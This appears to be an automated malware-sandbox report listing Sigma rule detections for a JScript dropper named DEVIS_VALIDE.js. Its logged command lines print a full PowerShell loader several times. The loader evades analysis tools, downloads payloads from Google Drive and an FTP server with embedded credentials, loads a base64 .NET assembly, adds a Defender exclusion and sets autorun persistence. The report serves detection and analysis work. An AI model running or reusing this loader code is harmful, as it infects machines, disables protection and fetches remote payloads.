[char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66
                  Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
                  Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66
                  Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66
                  Sigma detected: PowerShell DownloadFile
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$
                  Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, CommandLine: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6536, ParentProcessName: powershell.exe, ProcessCommandLine: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, ProcessId: 4944, ProcessName: powershell.exe
                  Sigma detected: Script Interpreter Execution From Suspicious Folder
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc
                  Sigma detected: Suspicious Script Execution From Temp Folder
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc
                  Sigma detected: WScript or CScript Dropper
                  Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DEVIS_VALIDE.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DEVIS_VALIDE.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DEVIS_VALIDE.js", ProcessId: 7136, ProcessName: wscript.exe
                  Sigma detected: Change PowerShell Policies to an Insecure Level
                  Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$
                  Sigma detected: CurrentVersion Autorun Keys Modification
                  Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7668, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_lme
                  Sigma detected: PowerShell Download Pattern
